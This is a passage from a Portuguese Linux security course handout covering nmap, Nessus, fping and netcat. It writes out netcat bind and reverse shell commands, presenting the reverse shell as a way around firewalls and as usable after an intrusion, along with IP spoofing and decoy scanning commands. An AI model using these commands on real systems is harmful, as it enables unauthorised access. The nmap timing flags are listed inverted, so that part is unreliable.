vez que a Microsoft não seguiu RFC 973)

Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto

portas abertas ignoram esses pacotes. Nenhuma flag é ligada no pacote FIN. (Esse método não

funciona com a plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)

Além destas o nmap possui outras opções de uso geral, das quais podemos destacar:

-D <decoy1 [,decoy2][,VOCE],...> :Durante uma varredura, utiliza uma série de endereços

falsificados, simulando que o scanning tenha originado desses vários hosts, sendo praticamente

impossível identifiicar a verdadeira origem da varredura.

nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5151 de de 7171

Page 52: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

-F : Procura pelas portas que estão no /etc/services. Método mais rápido, porém não

procurar por todas as portas.

nmap -F alvo

-I : Se o host estiver utilizando o ident, é possível identificar o dono dos serviços que estão

sendo executados no servidor (trabalha com a opção -sT)

nmap -sT -I alvo

-n : Não irá resolver nome de hosts a ser varrido.

nmap -n alvo

-O : Ativa a identificação do host remoto via TCP/IP. Irá apresentar versão do Sistema

Operacional e tempo ativo.

nmap -O alvo

-p <lista_de_portas> : Especifica quais portas devem ser verificadas na varredura. Por

default, todas as portas entre 1 e 1024 são varridas.

nmap -p 22,80 alvo

nmap -p U:53,111,137,T:21-25,80,139,8080

-P0 :Não tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que

bloqueiam ICMP “echo request (ou responses)” através de firewall.

nmap -P0 alvo

-PS[lista_de_portas] :Usa pacotes SYN para determinar se o host está ativo.

nmap -PS80 alvo

-PT[lista_de_portas] : Usa TCP “ping” para determinar se o host está ativo.

nmap -PT80 alvo

-R : Irá resolver nome de hosts a ser varrido.

nmap -R80 alvo

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5252 de de 7171

Page 53: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

-r : A varredura será feita nas portas randomicamente, não seguinte a ordem crescente.

nmap -r alvo

-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>

Esse parâmetro seta a prioridade de varredura do Nmap:

� Paranoid (-T5) é muito lento na esperança de prevenir a detecção pelo sistema IDS.

Este serializa todos os scans (scanning não paralelo) e geralmente espera no

mínimo 5 minutos entre o envio de pacotes.

� Sneaky (-T4) é similar ao Paranoid, exceto que somente espera 15 segundos entre o

envio de pacotes.

� Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances de

travar a máquina. Ele serializa os testes e espera no mínimo 0.4 segundos entre eles.

� Normal (-T2) é o comportamento default do Nmap, o qual tenta executar tão rápido

quanto possível sem sobrecarregar a rede ou perder hosts/portas.� Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nunca

espera mais que 1.25 segundos para testar as respostas.

� Insane (-T0) é somente adequando para redes muito rápidas ou onde você não

se importa em perder algumas informações. Nesta opção o timeout dos hosts

acontecem em 75 segundos e espera somente 0.3 segundos por teste individual.

-ttl <valor> : Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do

pacote.

nmap -ttl 55 alvo

-v : Modo verbose. Mostra tudo o que está se passando.

nmap -v alvo

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5353 de de 7171

Page 54: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Para facilitar o processo de aprendizagem seguem alguns exemplo e utilização:

nmap -v alvo

Esta opção faz a varredura de todas as portas TCP reservadas.

nmap -sS -O alvo

Lança uma varredura TCP Syn contra cada máquina que está ativa, abrangendo todas

as 255 máquinas de classe “C” onde alvo faz parte. Além disso determina o sistema

operacional de cada host.

nmap -sX -p 22,53,110,143 alvo

Envia uma varredura Xmas Tree para o alvo, além de varrer somente os serviços de

sshd, Dns, pop3d e imapd.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5454 de de 7171

Page 55: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

9.2) Nessus

Nessus é uma ferramenta para auditoria de segurança. Com ele é possível verificar varias

vulnerabilidades em sua rede. O nessus permite que se faça isso de uma forma segura, nao permitindo que

usuários não autorizados possam scanear sua rede com ele. Ele é composto por duas partes, sendo um

cliente e um servidor. Pode-se usá-lo a partir do windows©, porém isso não será abordado nesse artigo.

Ele possui uma série de recursos bastante interessantes como trabalhar em conjunto com o nmap e

também a possibilidade de atualização apenas baixando novos plugins de ataques e/ou vulnerabilidades. O

Nessus foi criado em 1998 por Renaud Deraison, sendo que naquela época o melhor security scanner era o

SATAN ( que se encontrava bastante desatualizado ). Deraison resolveu dividir o sistema em plugins,

facilitando muito a atualização e a prevenção contra novos ataques. A partir da versão 1.0.0 foi criado um

script que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade e

assim sugerir uma forma ou explicação para corrigi-la.

O nessus possui uma GUI muito flexível onde você configura vários detalhes de varredura na sua

rede. Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que serão scanneados.

Primeiramente rode o nessus cliente, bastando para isso digitar nessus na linha de comando. Ele pedirá,

entao, a senha que você configurou inicialmente. Vamos abordar agora quais são as opções de

configuração do cliente nessus.

Nessus host : nesta aba de configuração você deve especificar o endereço ip do daemon nessus e

também a porta tcp em que ele está rodando (geralmente 1241). Nesta tela também é possível optar pelo

algoritmo de criptografia que será usado. Também é preciso especificar o nome do usuário para logar no

daemon.

Plugins : Aqui reside todo o poder do nessus, nesta aba se encontram as explorações (exploits) das

vulnerabilidades conhecidas em forma de plugins. O nessus se vale destes plugins para avaliar as

vulnerabilidades do sistema scanneado.

Prefs. : São especificados valores como usuários e senhas de serviços como ftp, pop, imap e smb.

De porte desses dados o nessus pode fazer verificações muito mais eficitentes nos seus hosts, já que

alguns exploits pressupõem que o "explorador" possui uma conta válida de algum desses serviços. Também

é possível configurar o tipo de scan que será usado pelo nmap ( caso possua ).

Scan Option -> Aqui pode-se especificar as portas que serão scaneadas pelo nessus, use virgula

para portas individuais e hífen para intervalos(80,110,443-1024). No caso de utilizar o nessus para scanear

servidores web é bastante interessante especificar o path, ou caminho, dos CGI's no seu servidor. Por

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5555 de de 7171

Page 56: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

exemplo se você especificar o path /cgi-bin/ para o nessus procurará por CGI's "exploitáveis" em

http://host/cgi-bin/.

Target Selection : Preencha o único campo desta aba para especificar as máquinas que serão

scaneadas. Clicando no botão "Read file..." você especifica um arquivo onde estão o endereços IP das

máquinas a serem verificadas.

User : Aqui estão suas informacões pessoais como a chave que deve ser usada e também pode-se

trocar a sua senha do nessus

Abaixo temos as principais telas deste aplicativo:

( Aba Host) (Aba Plugins)

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5656 de de 7171

Page 57: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

( Aba Perfs) (Aba Scan Options)

( Aba Target Selection) (Aba KB)

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5757 de de 7171

Page 58: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

9.2.1)Iniciando a inspeção na sua rede.

Assim que você iniciar o nessus lhe será solicitado a senha. A primeira tela que irá surgir é a nessus

host nesta tela se encontram, além da opções citadas acima, o botão de login clicando nele você ja poderá

configurar os plugins que serão utilizados. Agora na aba Plugins você escolhe quais "ataques" e

explorações deverão ser aplicadas aos seus alvos. Como já foi citado este é um dos maiores diferenciais do

nessus, os plugins estão separados por categorias e cada um deles possui um texto explicando o que

aquele exploit faz e também o grau de risco bem como resolver o problema caso esta vulnerabilidade seja

encontrada. Caso alvos sejam máquinas que estão em produção não aconselho usar utilizar o plugins de

DoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas. Se os alvos

estiverem abertos para internet é importante marcar ao menos as seguintes categorias : Gain Shell

Remotely, Gain Root Remotely, Backdoors, Remote File Access. Cabe a você analisar quais plugins

deverão ser utilizados na varredura, caso sua rede seja composta apenas por sistemas *NIX não existe a

menor necessidade de utilizar os plugins referentes a Wingate, por exemplo.

Após escolher os plugins mais adequandos a sua rede vamos escolher quais hosts serão

scaneados. Clique na aba Target Selection e especifique as máquinas que deseja scanear ( todas elas

devem estar com o nessusd rodando ). Como mencionado acima você deve colocar os alvos(targets)

separados por vírgula ou especificar um arquivo de onde onde o nessus irá ler os alvos.

Com tudo configurado(geralmente não é preciso mudar muita coisa) você pode iniciar a varredura

em sua rede para isto clique no botão "Start the scan". Agora o nessus irá varrer sua rede isso pode

demorar um pouco conforme a velocidade da rede e quantidade de plugins que você selecionou.

Feito a varredura podemos verificar a falhas de segurança e as recomendações do nessus para as

vulnerabilidades encontradas. Na tela Nessus Report você vê os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles á direita. Clicando no sinal de + sobre as vulnerabilidades

tem-se a explicação do problema e também como proceder para corrigi-lo. Para uma futura referência pode-

se também exportar o relatório basta escolher o formato e clicar em "Save as..." recomendo escolher a

opcão "Save as HTML with pies an graphs" com isso nessus irá salvar os resultados na pasta que você

escolher e também gerará gráficos sobre as vulnerabilidades de sua rede juntamente com o tradicional

relatório em HTML.

Para realizar a atualização de seus plugins, o nessus possui um script, que para funcionar necessita

que se esteja conectado na internet. Para executa-lo rode o seguinte comando:

nessus-update-plugins -v

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5858 de de 7171

Page 59: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Com a opção -v serão exibidos os plugins que estão sendo baixados. Este script não possui

nenhuma forma para verificar a integridade dos plugins baixados,por isso use-o com cautela.( leia a

manpage deste script para maiores detalhes)

9.3) Fping

O fping é um programa que, assim como ping, utiliza o protocolo ICMP (������������� �������������������������

� ����!��"#���) para determinar se um ou vários nós da rede estão ativos, mas ao contrário do ping, ele permite

realizar a verificação de vários nós ao mesmo tempo, o endereço dos nós pode ser passado via linha de

comando ou através de um arquivo texto.

O fping ao receber uma confirmação de atividade automaticamente, envia um aviso de atividade e

exclui o host da lista de verificação, mas quando um nó não responde em no período pré determinado ele é

tido como desligado ou não alcançável.

Este comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e sua

saída ser de fácil manipulação.

Este comando aceita os seguintes parâmetros:

-a : lista somente aqueles nós que estão ativos;

-A : mostra o endereço do nó ao invés do seu nome de domínio;

-c : informa quanto pacotes devem ser enviados para cada host;

-C : assim como o anterior, mas este informa no final o tempo de resposta em milisegundos

de cada pacote;

-e : mostra o tempo decorrido até o recebimento do pacote de verificação;

-i : tempo mínimo em milisegundos entre o envio de dois pacotes a qualquer host da rede;

-l : loop, envia pacotes indefinidamente;

-n : utiliza o nome de domínio do host na saída do comando;

-r : número de tentativas de alcançar o host;

-u : mostra somente os host que não foram alcançados

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 5959 de de 7171

Page 60: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Exemplos:

Informa o estado das máquinas utilizando o nome de domínio delas, como pode serobservado logo abaixo:

fping -n 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67

ns.ravel.ufrj.br is alivemailhost.ravel.ufrj.br is alivegw-ether.ravel.ufrj.br is alivemailhost.ravel.ufrj.br is alivewebsec.ravel.ufrj.br is unreachable

Informa somente o nome das máquinas que estão ativas, como vemos abaixo:

fping -na 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67

ns.ravel.ufrj.brmailhost.ravel.ufrj.brgw-ether.ravel.ufrj.brmailhost.ravel.ufrj.br

Informa somente o nome das máquinas que não podem ser encontradas, como podeser observado logo abaixo:

fping -nu 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67

websec.ravel.ufrj.br

Envia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados, recebidos e perdidos, como pode ser observado logo abaixo:

fping -q -n -c 2 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100146.164.32.101

ns.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 50.0/51.8/53.7mailhost.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 45.5/47.3/49.1websec.ravel.ufrj.br : xmt/rcv/%loss = 2/0/100%gw-ether.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 51.3/52.5/53.7146.164.32.101 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 49.8/58.6/76.9

Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um, como pode ser observado logo abaixo:

fping -q -n -C 5 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100146.164.32.101

ns.ravel.ufrj.br : 490.2 509.4 520.3 505.6 466.7mailhost.ravel.ufrj.br : 529.4 512.2 526.0 489.0 505.6websec.ravel.ufrj.br : - - - - -gw-ether.ravel.ufrj.br : 479.3 540.4 509.7 478.5 494.6146.164.32.101 : 684.3 520.1 592.9 533.1 745.8

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6060 de de 7171

Page 61: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Informa o tempo de resposta de cada host, informando o seu endereço ip ao invés doseu nome de domínio, como pode ser observado logo abaixo:fping -A -e protheus.ravel.ufrj.br websec.ravel.ufrj.br www.yahoo.com.brwww.gmail.com

146.164.32.67 is alive (53.3 ms)200.152.161.113 is alive (45.9 ms)64.233.171.107 is alive (534 ms)146.164.32.75 is unreachable

9.3) Netcat

Netcat é uma ferramenta usada para ler e escrever dados em conexões de rede usando o protocolo

TCP/IP. Dada sua grande versatilidade, o NetCat é considerado pelos hackers o canivete suíço do TCP/IP,

podendo ser usado para fazer desde portscans até brute force attacks.

O nome netcat vem do comando cat do Linux/Unix. O cat concatena arquivos e envia para a saída

padrão (stdout). O netcat faz praticamente o mesmo, porém ao invés de concatenar arquivos, o netcat

concatena sockets TCP e UDP.

9.3.1) Opções do Netcat

-e comando : Executa o comando especificado usando como entrada (stdin) os dados recebidos

pela rede e enviando os dados de saída (stdout e stderr) para a rede. Essa opção somente estará presente

se o nc for compilado com a opção GAPING_SECURITY_HOLE, já que permite que usuários disponibilizem

programas para qualquer um conectado a rede.

-i : Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou recebidas.

-l : Coloca no netcat em estado de escuta (listening)

-L : Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de

comando caso a conexão feche;

-n : Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores

DNS;

-o filename : Usando para obter um log dos dados de entrada ou saída, em formato hexadecimal;

-p : Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilégio;

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6161 de de 7171

Page 62: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

-r : Faz as portas do portscan serem escolhidas aleatoriamente;

-s : Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para

spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP

desejado;

-t : Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado com a opção

-DTELNET;

-u : Usar UDP ao invés de TCP;

-v : Controla o nível de mensagens mostradas na tela;

-w : Limita o tempo máximo para que uma conexão seja estabelecida;

-z : Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de uma conexão

UDP.

9.3.2) Preparando as Interfaces de Rede

Para testar o netcat, usaremos dois aliases na interface loopback (lo) do linux. O endereço IP default

da interface lo no linux é 127.0.0.1. Se mexermos com o endereço 127.0.0.1 podemos quebrar as nossas

conexões de rede. Ao invés disso, usaremos os aliases lo:1 e lo:2 para executarmos os testes. Para atribuir

endereços IP à essas interfaces, os seguintes comandos devem ser executados (como usuário root) na

console do linux:

$ ifconfig lo:1 10.0.1.1

$ ifconfig lo:2 10.0.1.2

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6262 de de 7171

Page 63: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

O comando ifconfig também permite verificar se o comando foi bem sucedido:

ifconfig

lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:700 (700.0 b) TX bytes:700 (700.0 b)

lo:1 Link encap:Local Loopback inet addr:10.0.1.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb)

lo:2 Link encap:Local Loopback inet addr:10.0.1.2 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois

computadores na mesma rede, com IPs diferentes.

9.3.3) Colocando o Netcat para escutar uma porta

O seguinte comando permite usar o netcat para "escutar" o tráfego da rede:

nc -vv -l -p8080

Listening on any address 8080 (webcache)

Para redirecionar a saída para um arquivo, usa-se o seguinte formato:

nc -l -p8080 > filename.txt

Para conectar um cliente netcat, usa-se o seguinte comando:

nc 10.0.1.1 -p8080 > filename.txt

Assim, tudo o que for digitado no cliente será repetido no servidor (na primeira console). Use CTRL-C para terminar a conexão.

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6363 de de 7171

Page 64: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

O servidor deverá mostrar um breve resumo da conexão:

Total received bytes: 5Total sent bytes: 0

9.3.4) Transferindo Arquivos

Transferir arquivos de um host para outro usando o netcat é bastante simples. Basta configurar o

lado server (que vai receber o arquivo) para "escutar" uma porta específica e redirecionar todos os dados

recebidos para um arquivo. Colocando-se um timeout, o servidor irá perceber quando não existem mais

dados chegando e irá fechar a conexão. No lado cliente da conexão, simplesmente conecta-se à porta do

servidor e passa-se o arquivo a ser transferido como entrada.

Servidor:

nc -vvn -l -p 3000 -w 30 > file

Listening on any address 3000

Cliente:

nc -vvn -w 2 10.0.0.1 3000 < file1

10.0.0.1 3000 open

O servidor irá mostrar a seguinte mensagem quando uma conexão for estabelecida:

Connection from 10.0.0.1:1028

Novamente, a conexão deve ser terminada usando-se o CTRL-C. O servidor irá mostrar:

Exiting.Total received bytes: 6Total sent bytes: 0

Enquanto que o cliente mostrará:

Total received bytes: 0Total sent bytes: 6

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6464 de de 7171

Page 65: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

9.3.5) Emulando o serviço de Telnet

Agora que já sabemos como fazer uma transferência de arquivos, podemos tentar algo mais útil. Por

exemplo, podemos nos conectar em uma máquina remota e executar alguns comandos, sem passar por

mecanismos de controle de acesso. Para isso, podemos usar o netcat com a opção -e. Um simples

exemplo:

Na console do servidor entre:

nc -l -p 5000 -e /bin/bash

No cliente:

nc 10.0.1.1 5000

Agora, estamos conectados no servidor, e com acesso ao shell. Não vemos o prompt, mas podemos

ver a saída de cada comando enviado para o servidor:

ls

bin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr

9.3.6) Criando um Portscanning

É possível usar o netcat para fazer portscans. Para isso, deve-se usar a flag -z (zero I/O mode), que

apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas UDP, deve-se

usar a opção -u.

TCP

nc -vvn -z xxx.xxx.xxx.xxx start-end

UDP

nc -u -vvn -z xxx.xxx.xxx.xxx start-end

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6565 de de 7171

Page 66: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

No exemplo abaixo, tentamos fazer um scan das portas 21 até 26. Como pode-se ver, portas

fechadas resultam em um "Connection refused" e portas abertas mostram "open". O scan UDP é

basicamente o mesmo.

nc -vvn -z 10.0.0.1 21-26

10.0.0.1 21 (ftp): Connection refused10.0.0.1 22 (ssh) open10.0.0.1 23 (telnet): Connection refused10.0.0.1 24: Connection refused10.0.0.1 25 (smtp): Connection refused10.0.0.1 26: Connection refusedTotal received bytes: 0Total sent bytes: 0

9.3.7) Telnet Reverso

Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Tambem possuem

algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes não tem um IP válido que

podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum

arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp não

poderia ser usado.

Por exemplo, temos um servidor que aceita apenas conexões externas na porta 80, mas não tem

um IP externo válido. O computador de casa provavelmente possui um IP real válido, e portas que podem

ser abertas ou fechadas conforme a necessidade. Invertendo as direções das conexões pode resolver esse

problema: basta fazer o computador do escritório conectar no computador de casa, recebendo comandos do

cliente a executando-os no servidor. Essa técnica é conhecida como Telnet Reverso.

Vamos chamar o computador do escritório de WORK e o computador de casa HOME. Se o

computador HOME for configurado para usar IP dinâmico, precisaremos de um nome para DNS dinâmico,

tipo o serviço fornecido pela dyndns.org. No computador WORK, configuramos um job cron para iniciar as

19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sessão bash. Para

isso, em casa deve-se iniciar (antes das 19:00) o netcat da seguinte forma:

nc -vv -l -p 80

As 10:00, WORK conecta ao HOME, inicia o bash e está pronto para executar qualquer comando

que queremos.

Para testar nosso telnet reverso na nossa rede virtual, devemos colocar o cliente (HOME) em modo

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6666 de de 7171

Page 67: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

de espera, escutando uma conexão:

nc -vv -l -p 80

Listening on any address 80

Para conectar a partir do servidor (WORK):

nc 10.0.1.1 80 -e /bin/bash

Essa técnica é bem simples e eficiente, pois usa somente a porta 80, que dificilmente estará

bloqueada no firewall. A partir do computador HOME você pode enviar comandos para o WORK, e receber

o resultado localmente.

Além disso, o telnet reverso pode ser usado para ganhar uma console de um servidor depois de

uma invasão.

9.3.8) Banner-grabbing

Banner-grabbing consiste em enviar para o destino strings específicas a partir de um arquivo e

receber os resultados na tela. O exemplo a seguir inclui um laço for básico para fazer o scan de múltiplos

destinos de uma vez. O arquivo WEB.txt deve conter :

head / http/1.0

e dois "enters", ou apenas os dois enters para funcionar em outras portas além da 80. O arquivo

IPlist deve conter a lista dos endereços IP a serem scaneados:

10.0.1.1

Após criar esses dois arquivos, execute:

for f in `cat IPlist.txt`; do nc $f 80 < WEB.txt; done;

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6767 de de 7171

Page 68: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

O resultado deverá ser algo do tipo:

HTTP/1.1 501 Method Not ImplementedDate: Mon, 13 Dec 1999 08:19:31 GMTServer: Apache/2.0.40 (Red Hat Linux)Vary: accept-languageAccept-Ranges: bytesContent-Length: 993Connection: closeContent-Type: text/html; charset=ISO-8859-1Expires: Mon, 13 Dec 1999 08:19:31 GMT<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><title>Cannot process request!</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><link rev="made" href="mailto:root@localhost" /><style type="text/css"><!--body { color: #000000; background-color: #FFFFFF; }a:link { color: #0000CC; }--></style></head><body><h1>Cannot process request!</h1><dl> <dd>The server does not support the action requested by the browser.</dd></dl><dl><dd>If you think this is a server error, please contactthe <a href="mailto:root@localhost ">webmaster</a ></dd></dl><h2>Error 501</h2><dl> <dd><address> <a href="/">localhost.localdomain</a> <br /> <small>Mon Dec 13 00:19:31 1999</small> <br /> <small>Apache/2.0.40 (Red Hat Linux)</small></address></dd> </dl></body></html>

Você pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexão é

HTTPS, você usar o stunnel para tunelar o nc, ou apenas o próprio stunnel. Para mais detalhes veja a man

page do stunnel:

man stunnel

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6868 de de 7171

Page 69: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

A sintaxe do comando deverá ser algo parecido com a seguinte linha:

(echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port

9.3.9) IP SpoofingUsando o netcat, você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o

tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo UDP.

O comando deverá ser tipo:

tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port>

Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de

rede:

ifconfig eth0:N spoofed_ip

onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo spoofed, já

que é feito o mesmo endereço IP é propagado por dois hosts na mesma rede. Para executar um spoofing

sem causar tantos problemas, use a ferramenta hping.

9.4) Outros Comandos:

Bastile: ele é um pacote de scripts utilizados para aumentar o nível de segurança do Linux,

desenvolvido para a distribuição Red Hat com o pacote do Perl (Pratical Extraction and Report Language),

deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violações básicas, permitindo

ainda ativar e desativar opções do sistema operacional;

SATAN: o aplicativo Security Administrator's Tool for Analizing Network, pode ser exectado em

qualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP, varredura de

vulnerabilidades mais conhecidas, oferece tutoriais que descrevem as vulnerabilidades e como explora-las;

COOPS: Computer Oracle and Password System, é um dos aplicativos utilizados para realizar

